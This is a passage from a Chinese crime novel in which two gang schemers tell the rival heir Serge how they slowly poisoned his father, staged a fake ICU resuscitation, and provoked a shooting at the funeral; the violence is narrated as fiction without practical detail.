“最早给出反应的聪明人是丹佐。他最初觉得有我们两个小的,给他们传递一些关于你的情报也不错。后来他发现,我们能做的远超他们的想象。另外三个元老骨干,也是丹佐自己去运作的。” 瑟杰回想起来就想扇那时候的自己几个耳光!在父亲去世之后,罗誉口口声声说他去和那四个老东西斡旋,稳住他们不添乱。不添乱?真的吗?罗誉说得这么轻描淡写,瑟杰却实在怀疑,几个老东西好歹跟父亲出生入死这么多年,怎么会轻易被罗誉这种小子收服。 “你和他们做了什么交易?还是说,你用什么威胁了他们?”这是仅有的两种可能。 史蒂文呵呵笑起来,说:“在你认知里,只有这样才能搞定别人。你说你格局这么小,还痴心妄想呢!” “你非要这样想,我也没办法,不过元老们的倒戈,也确实不全是我有多好。”罗誉嘴角笑意微敛,说,“有一个很重要的原因是,他们害怕你的父亲。” 瑟杰一窒,害怕? “诺坎的个性,多疑而又凶残,偏执而又癫狂。在中年之后,这种趋势愈发明显。没有谁在他身边能够保持足够的安全感。他总是喜怒无常,阴晴不定,或许上一秒还和你亲热地称兄道弟,下一刻就翻脸无情,要把你片成洋葱。”罗誉语气平静,仿佛和自己完全无关,“人总是在年轻时更愿意冒险,年纪大了,尤其是已经打下了一片江山,就会更希望现世安稳。谁还会想要在自己颈边架一把握在别人手中的刀呢?” 瑟杰一时默然。这是他完全没有想过的范畴。手下就是手下,他们只需要忠诚于自己不就对了?他们做的对,做得好,就能得到嘉奖,做得不对不好,难道不应该被惩罚吗?怎么就还怪起了父亲?虽说父亲的脾气确实暴躁了些,但…… 罗誉就像是知道瑟杰在想什么,只听他继续说:“如果是公平的奖惩,那大家伙儿都没话说,怕就怕,那些欲加之罪。比如,丽娅……你说是吧,Serge?” 瑟杰浑身一震,没说出话来。 48.第 48 章 丽娅,母亲……母亲去世的时候,他还小,很多事情还不懂,知道的并不确切。年岁渐长,关于母亲的记忆越来越破碎,他只知道,母亲是被认定了和一名帮中骨干出轨,才被父亲亲手杀死。 没错,是父亲亲自动的手,他小时候偷看到了。 但是后来父子俩重归于好,父亲似乎忘记了自己那天的暴怒和凶残,只说母亲是他的毕生挚爱,是被那个骨干害死的。父亲言之凿凿,如果不是瑟杰亲眼见过那天鲜血飞溅的现场,或许就信了。 有很长一段时间,瑟杰是相信母亲出轨的,言语可以撒谎,但行动做不得假,父亲的行动显然是受到了强烈的情感刺激。 然而多年以后,那个把自己从海中捞起的男人有次对他说起,他的母亲丽娅从未出轨,她只是感到丈夫越来越可怕,向那名丈夫最为倚重的骨干求助,希望帮帮他的丈夫而已…… 如果这才是真相,那委实太可怕了。瑟杰在平日里努力不去想,却在这一刻,被罗誉一针见血。 瑟杰一时间有些混乱。 如果母亲真的无辜,父亲杀错了人……不会的!父亲是一手建立了帮派的一代霸主,他怎么会看错人呢?他们父子是坦诚地相处过那么多年的,如果父亲真的杀错了人,他又怎会一点悔意都没有呢?不会的!如果母亲真的无辜,那个男人为什么没有为母亲站出来证明清白,在她死后也不为她报仇呢?对,这就说得通了!那个男人撒谎!而罗誉,他不也是最擅长装作无辜无害,趁人不备,蛊惑人心么?对,这都是奸诈小人的惯用伎俩!他们知道母亲去世时他还小,以为他不懂事就可以草蛇灰线地欺骗他! 瑟杰愤怒地一拳锤在身前的栏杆上,大吼:“荒谬!” “荒谬吗?或许吧!毕竟在你身边都是对你死心塌地的手下,对吗?说起来,你那位白手套先生呢?是叫老谢吧?他应该,永远不会出卖你吧?我猜你被通缉的事情,跟他一点关系都不会有。”罗誉神闲气定,他也不是不会阴阳怪气。 他并不是在试图说服瑟杰什么,也不是在为死去的人讨还公道,他只是在好心地解答瑟杰的疑问,并不在意瑟杰会有什么样的反应,信与不信都不重要。因为他已经能够预见,今晚会是一个重要的时间点,他们中有的人注定看不到明天的日出。他们几人之间多年的纠葛,在今晚会标注一个结点。不管是谁吧,祝愿都能死得明明白白。 所以说,这世上的悲喜并不相通。人们只愿意相信自己愿意相信的东西,更何况有些事情早就淹没,无从验证。 先提到丽娅,继而又是老谢,此刻的瑟杰更认定了罗誉就是在花言巧语,蛊惑人心。而且,老谢向警方供出好几个自己的藏身处,和父亲杀母亲有什么关系?瑟杰无法理解,他更认定罗誉在胡说八道,扰乱他的心神而已。 他浮夸地嗤笑了一声,说道:“卑劣之人,从来不遗余力地粉饰自己的罪行。就仿佛把别人抹黑之后,他们就成了正义一样。” 罗誉挑了挑眉,没有继续说话。史蒂文没有那么内敛,他直接笑出了声。要不然怎么是两父子呢?这部分的基因是一模一样的,谁家都没有能耐这么给自己洗脑。 瑟杰既然已经选择了想要相信的“事实”,就不会再被罗誉和史蒂文的反应所干扰。他顺着自己的思路继续往下说:“这种人确实很会演戏,很容易欺骗别人,让人以为他们是值得信任的。我以前以为,丹佐那几个老东西是父亲的人,看着我长大的,对父亲和我总归有几分情谊,却没想到,都是些狼心狗肺的东西!” 他指着罗誉,愤怒道:“我早该想到,当初他们就是和你串通好了,不单蒙骗了我,也蒙蔽了父亲!自从我落海之后,我发现很多事情原来和我之前以为的完全不同,我忍不住就开始怀疑,父亲是不是被你们害死的……” 说到这儿,瑟杰有些疲惫地闭了闭眼,定了定神:“可我只能猜测,没有任何依据。直到有一次,手下有人告诉我,有种药剂,可以引发心脏病!”瑟杰猛然睁开血丝遍布的眼睛,恶狠狠地看向罗誉,“是你对不对?是你想出了这样的手段,让丹佐他们给我父亲下毒的对不对?” 罗誉还没有太大的反应,一旁的史蒂文又得意地插话进来:“哦!你说老诺坎的死啊!”他略带雀跃的语气引得瑟杰扭头怒视他,史蒂文坦然地分享自己的成就感:“他最后是我毒死的!” 瑟杰闻言脸色一凛,“又是你!” 史蒂文快乐地说:“没错,其实你猜到了前半段。我们和丹佐他们结盟之后,丹佐逐渐认识到我们能带给他们想要的,而你不行。小酒馆的事情让他们认为,你的未来只有两种可能。一种,是你有朝一日会因为肆意妄为,不知收敛,和那个‘小汤姆’一样,在还不够强大的时候就死在了阴沟里;另一种,是你被老诺坎保护着长大,变强,然后变成和老诺坎一样的疯子。你那时候已经表现出了一些老诺坎的特质,他们一致认为,你不会比老诺坎更……用他们的话说,‘更像个人’。” 瑟杰虽然在安静地听,但瞪得更大的眼睛显示出他对这些评价是多么的不认同,这是诋毁,对他们父子二人的诋毁! “你们父子,好斗且暴戾,容易丧失理智,却又总能为自己找到行为的借口,因而从来听不进别人的劝诫。你们是非常难以相处的人,而你,更是因为没有老诺坎那样丰富的阅历,没有经历过他那些尔虞我诈的暗斗,你更为自大,更无所顾忌。你终究会比老诺坎更加出格,更加恐怖。”这么多年,这些话终于有机会扔到本人的眼前,史蒂文有种别样的快意,“所以,小酒馆的事之后,丹佐他们一直很担心你会在合众国成长得太快,把组织管理的事学明白了,哪天就回到联邦接了诺坎的班。说来你可能不信,在我们联系丹佐的最初,他们给我们提出的第一个要求,就是废掉你。” 瑟杰的手指在栏杆上捏得发白,微微颤抖着。这些真相,他以往都没有想到过。原来人心如此阴暗可怖,原来他一直活在假象中。 “是Louie拒绝了他们当时的要求。如果你在合众国出事,我们就没有继续留在那边的理由,而那时的我们,远离联邦才会更有用。而且,他希望在合众国继续完成学业。” 瑟杰恨声说:“这么说来,我倒是该谢谢你了,小罗?” 罗誉靠在船舷栏杆上,换了条腿支撑身体,也不抬头看他了,松弛地回答:“谢不谢的,无所谓。他们催了我几次,后来发现我对你的判断是对的,就不再催了。” “你对我的判断?” 史蒂文笑容更大了,他又把话接了过去,“啊!我记得!Louie那时候说服丹佐暂时不动你的理由是……” “我们漂洋过海来这里,就是在这里读书的。在我完成学业之前,我们都会留在这里,不会回到联邦,所以不用着急行动。”这几天刚满十三岁的罗誉的脸色还有些苍白,眼窝也比先前深些。修养了些时日,他已经恢复了精神,只是还没有把暴瘦的身体养回来。 对面的丹佐一时间不知道怎么反驳,好像是这么个道理。但有些事情,夜长梦多,时间拖得越久,越容易横生枝节。 “而且,”罗誉问了一个令丹佐尴尬的问题,“丹佐先生有没有想过,如果现在儿子真的出了事,老子会怎么样?您有应对的后手么?” 丹佐确实想过几个预案,但都不太理想。到这里,他不得不承认,自己心急了,也不得不承认,对面的毛头小子是 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“两个都除掉,并不是没有可能,只不过现在还不到时候。在我看来,怎样有效地控制住老子,才是当务之急,要有人能牵制住他,让他的行动能被我们预见,这样我们才不用过于恐慌。而现在的儿子,不正是这个能让他更可控的人么?至于儿子的成长,不足为虑,丹佐先生不用太过担心他的发展速度。所谓的北美分部,要组建起来,即便他老子本人来,也不是一年半载的事情。他要做这些,离不开我和Steven。而既然最终都是要废掉的人,我和Steven又怎么可能让他成长起来?再说,一个书都读不进,一天到晚醉心声色犬马的人,再怎么成长,能快过我么?” 丹佐怔在当场。 “最后的结果就是,Louie说服了他们按兵不动,等到几年后完成学业,那时才是动手的时机。Louie即将毕业的那半个月,我激动得睡不着!”史蒂文笑着说。 瑟杰的右手微微颤抖,在自己额角上扶了扶,又放下。“于是你们在毕业典礼那天就动了手?真是一刻都不愿意多等啊!” “不,在那之前一个月,丹佐就迫不及待动手了。我们最初的计划是,老诺坎在我们不在场的情况下干脆利落地被送走,这样就可以把Louie和我都摘出去。丹佐一开始剂量没敢放太大,只是让老诺坎出现一些不舒服的征兆,后来持续多次给他加料,终于在毕业典礼前一周,老诺坎倒下了。我们只是把消息压到毕业典礼后才告诉你。”史蒂文有种恶作剧得逞后的快感。 瑟杰猛然抬眸,目光犀利又阴毒。他的父亲在他不知情的时候,已经被毒害,垂死挣扎了很久。 “按照原计划,老诺坎就该在毕业典礼前一周咽气。那样以你的性格,会先自己回联邦,把Louie留在合众国完成毕业典礼,Louie和我在这件事上的嫌疑能被降到最低。不过计划在执行过程中,出了点小差错,医院竟然把人给救回来了……”史蒂文就这样有些遗憾地讲述一个可怕的故事。 “路易先生……”丹佐在那头艰难地开口,事情办得不漂亮,他现在非常恐惧,但为自己开脱的话还不知道该怎么说。这位小老板是没有诺坎那样残暴的个性,但随着这几年的成长,他给人的权威感也在与日俱增。这次可以说是他们执行小老板第一次的正式命令,可却没有把事情做干净,不知道小老板会怎样惩罚他们。 门外射击场内的枪声还能隐约传进这个高档的私人休息室。如果丹佐人在此处,听着枪声来汇报这件事,恐怕这会儿也要犯心脏病。 罗誉的情绪很平稳,他只是沉默地考量了一会儿,就温和地回复丹佐:“丹佐先生,不用担心。这世上本就没有百分百不会出意外的计划。况且,也不是什么大问题。” 丹佐有那么一瞬间的恍惚。在罗誉给出反应之前,他的心理压力太大了,如今靴子落地,罗誉不单没有严厉惩罚,甚至还好脾气地安慰了他。丹佐差点没当场给他一个老泪纵横。 49.第 49 章 第四十九章年轻的首领 “既然他没事的时候,我们都能把他弄半死,现在他只剩半条命,又何足为惧?”罗誉耳朵上戴着蓝牙耳机,手上不紧不慢地擦着刚拆开的枪,“原本只是想做得隐蔽些,免得被人太早怀疑到我身上……事已至此,也好。既然医院给救回来了,就先吊几天。再过几天,我这边的事结束了,就回来。趁这几天时间,麻烦丹佐先生把医院收拾干净,确保别再出‘医疗事故’。” “是,是!好的!路易先生,一定办好!” 电话挂断,罗誉叹了口气,继续清理零件。 史蒂文从射击场走了进来,刚摘下的降噪耳机还挂在脖子上。“在跟你通话之前,他先打给了我。老头儿怕得要死。” 罗誉微微笑道:“听出来了。” “你不打算给任何惩罚?” “没必要。”罗誉回答得很是轻描淡写。“他们本身不是这种水准,退化到这种畏首畏尾的程度,也是诺坎积威太久的影响。” “你就不怕他们会觉得你太好说话?” 罗誉抬起头笑问:“那你觉得我好说话么?” 史蒂文歪了歪脑袋,他好像又问了一个蠢问题。罗誉看上去斯斯文文,说话轻声慢语,可骨子里,一点都不好说话。 罗誉低头,开始把手中清理完的零件组装起来。 史蒂文深呼吸,忍不住唏嘘:“就快要走了……” 罗誉的手顿了顿,问:“你家里……你想好了么?” 史蒂文坐到他身边喝水。“当然。这是我自己想做的事,想走的路。他们能支持祝福那就最好,不能理解我也无所谓。我也不能完全理解他们,那么他们不理解我也没有任何问题。” 罗誉停下手里的事,转头认真看他。“要是以后……” “不会,我不会后悔的。”史蒂文也转过头看着他的眼睛说。 “那也不代表没有遗憾。” “我知道你们大华人特别注重家庭,我也不敢说以后真的不会有遗憾,但没关系,遗憾也是人生中美好的一部分。”史蒂文说着又笑了起来。他不是对家庭没有感情,只是一心想往前飞,不辜负自己的心。跟不上他的人终究会掉队,而他在尽兴之前,是不会停下来的,为此,他可以洒脱地面对一切。 罗誉没有再说话,低下头把枪组装好。“咔哒”一声上膛。 有些事,就和枪一样,上了膛,就不要犹豫,扣动了扳机,就再不用回头了。 一周后,他们飞回联邦。瑟杰顾不上一路风尘,飞机一落地,他就直奔医院。等到了医院,得知老诺坎人在ICU,情况暂时还算稳定,终于能把悬着的心放一放。他就坐在了ICU外的走廊上,默默地等,无助地在内心祈祷父亲好起来。 走廊尽头的楼梯间里,史蒂文仍然是敬业的保镖,只是他现在陪在罗誉的身后。丹佐恭敬地面向罗誉站立,对这位年轻的首领谦卑地汇报这里的情况。 “……目前整间医院都已经完成了整改,医护们都很敬业。” 罗誉点点头,问:“病人情况如何?” “在前天下午,他已经基本稳定了,医生说可以转到普通病房,不过我们觉得ICU条件更好……医院也没意见。”丹佐没有说的是,为了避免这家医院再次发生把人意外救活了的“医疗事故”,他把最不开眼的那个医生当场打成了筛子,这才使得如今医院如此听话。这些没必要说得太多,首领只要看到结果,细节是他们这些下属们才需要考虑的。 罗誉勾起唇角,微笑地说:“真是麻烦丹佐先生了。” “路易先生太客气了。”丹佐这时候才真正地放松了下来。这位首领是真的宽宏,他确实无意追究之前的那些小错误。同时,他又是如此年轻,谋略和魄力却已不容小觑,这样一位首领,能够带给他们的是更广阔的未来,而不是后半生无穷无尽的阴森恐怖。 罗誉看出他的想法,说:“现在万事俱备,今晚就送老人家上路吧,也免得在这里多受折磨了。”那么多人就围着一个老诺坎,演了这么多天,也累了。 “今晚?!”丹佐一阵激动。今晚之后,苦日子就过去了!从今以后,总算能睡安稳觉了! 罗誉回头看向一本正经站在身后的史蒂文。 高大的保镖先生竖起食指和中指,两指并拢,在额角轻点,敬了个礼。 午夜过后,他们把蹲守在ICU门口的瑟杰劝走,罗誉照顾他睡下。瑟杰疲惫到濒临极限,躺下没多久就开始迷糊,罗誉等到他彻底睡过去,那边的史蒂文就收到了动手的信号。 站在因镇静剂的作用下,保持昏迷状态的老诺坎床前,史蒂文也不免有些兴奋。这位当年也是枭雄人物,通过视频面试了他,而后将他安排给了儿子瑟杰。不管老诺坎的本意如何,他让史蒂文遇到了罗誉,单凭这一点,史蒂文多少还是承他的情。只是人生际遇不可捉摸,恐怕他怎么也不会想到,还没过几年,就会在自己看好的年轻人手上结束生命。 史蒂文没有遵守ICU的规定,在西服外面套什么除菌防护服。他整了整身上的西装,看起来很正式。他心中暗想,这是送走老人家的礼仪了。 注射器中的透明药剂被缓缓推入连在老诺坎身体的管子,史蒂文安静地等待着。片刻之后,心电监护仪上的曲线一阵异常波动,随后很快变成了一条直线,报警灯闪烁红光刺眼,扬声器中也开始发出警报。 史蒂文没有动,只抬眼看向屋角,那里瑟缩着ICU值班的五名医护人员。从史蒂文进入ICU开始,他们就像鹌鹑一样,紧张地站在那里,大气都不敢出,就连这个男人没有穿防护服,也没有人敢说半个不字。警报灯在闪烁,警报声充斥了整个ICU,可是史蒂文没有允许,医护人员们谁也不敢像往常一样,扑上去抢救病人。请原谅白衣天使们这一刻的怯懦,因为他们面对的这帮人,什么都干得出来。 直到十多分钟后,史蒂文抬起左手看了看腕表上的时间,转身走向ICU门口,对医护们说了句:“你们可以开始了。” 史蒂文走出ICU,里面的医护才敢呼出一口气,紧接着跳起来扑到老诺坎的床边,开始卖力地按压他的胸口,忙碌地调试各种仪器,准备各种正常情况下可能需要用到的药剂。他们都手指颤抖着,呼吸急促,有冷汗从额角滑落,没有人敢怠慢。他们谁都知道,尸体是不会复活的,但此刻的ICU就是一个舞台,他们是舞台上的演员。在那面隔绝病菌的硕大玻璃的另一面,有不少人在看着他们的表演。这场表演不允许出错,因为没有重来的可能。只要有一位观众对表演不够满意,演员们都得死。 外面有人飞快地跑来,医护们开始给尸体上除颤仪,阵仗很大,如同医护们也在飞速膨胀的心理压力一般。这和以往的抢救完全不同,今晚的“抢救”抢的是自己的命。医生布满血丝的眼睛不时偷瞄玻璃外人群中的一位精瘦的老人,终于在医生快要哭出来时,他看到那位老人克制地对他眨了眨眼。结束了!终于可以结束了! 抢救终止,尸体终于被宣布死亡。 一个年轻人在哭喊,在拍打隔断的那面玻璃,似乎是死者的儿子。周围的人在劝慰他,安抚他。那名医生已经体力耗尽,瘫软在地,他怔怔地想,他已经谢幕,看来舞台交给别人了。 瑟杰默默听完史蒂文对当年那次行动的描述,恨得心里渗出毒。他对父亲的死存疑,但真到得知真相时,才知道原来自己还是想得太简单。背叛,是一个大工程,怎么可能不坚决呢?换作是他,也不可能犹犹豫豫给对手留 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“无耻!”瑟杰怒吼,“你们真是无耻!你们竟然可以卑劣到这种程度!你们就不怕父亲在天之灵诅咒报复么!他在上面看着,他一定会给你们下最狠的诅咒,让你们不得好死!你们片刻都不会安宁……” “我这几年睡得很好,谢谢!”史蒂文又一次打断了他,今晚史蒂文可能是把原本很不错的“教养”都扔了,“老实说,我觉得他不瞑目也好,能亲眼看看自己的葬礼有多热闹。” 瑟杰震惊地看着他,嘴唇不可抑制地抖了起来。“你什么意思?葬礼上的事,也是你们安排的?!” 那场葬礼,埋葬的不单单是他的父亲诺坎,还跟下去很多人。也正是因为这场葬礼,他和苏拉猜才彻底成仇,不死不休。可是,当年瑟杰是亲眼看见,苏拉猜在人群中肆无忌惮地举起枪,向他们射击,挑起战争。 苏拉猜不是罗誉的人呀,他怎么会听罗誉的意思行事呢?不对,不是这个逻辑!苏拉猜也可能是中了罗誉的招! “对,我安排的。”罗誉清冷的声音传上来,那语调轻飘飘的,仿佛事不关己。 “你对苏拉猜做了什么?他为什么在葬礼上发疯?”瑟杰问。 “他发疯是因为,在葬礼前不久,他的手下打探到一则消息。老诺坎的儿子不怕东南亚地区其他几个大势力伺机搞事,非要集结几大元老,高调办理老诺坎的丧事,是因为他已经跟几个大势力谈妥了,要趁葬礼的机会,让来参加葬礼的苏拉猜自投罗网,他们在葬礼场地已经提前做了布置,会给苏拉猜来个瓮中捉鳖。”罗誉冷静地回答他,“苏拉猜当时和帕朗打得火热,你也知道帕朗背后站的是‘司令’。他觉得自己只要得到‘司令’的支持,就一定能得到‘公司’。他也知道,对于他和帕朗频繁接触,那几个大势力非常警觉,也非常不满。早前他就把那几个大势力得罪得挺狠,也就是别人觉得,跟老诺坎斗不划算,才忍着而已。老诺坎不在了,‘公司’落到苏拉猜手上,势必要打个你死我活,而如果他还搭上了‘司令’,就会非常棘手。” “所以你放出消息,说我拿他的命,跟那几个大势力换和平相处?”瑟杰接话。 “没错。他信了,完全没有怀疑。因为几大元老其实都不服你,你需要做出足够亮眼的成绩来说服他们。苏拉猜明显和你不和,你拿他当祭品,再正常不过。”罗誉回答。 “于是他就带着人,端着冲锋手枪,扫射我们所有人,把父亲的遗体打得千疮百孔……”瑟杰不得不佩服罗誉,他连编个谎话,都让人无法不相信。 那天飞来横祸,瑟杰眼睁睁看着人群中许多人突然掀开衣襟,接下来的时间里,就像是开了慢镜头一般。这些人统统抽出事先藏好的冲锋手枪,对着人群疯狂扫射。来参加葬礼的人几乎都没有携带武器,一时间俨然是一群待宰的羔羊。几位元老这样的人物还能有保镖护着赶紧撤离,其他人就只能看命。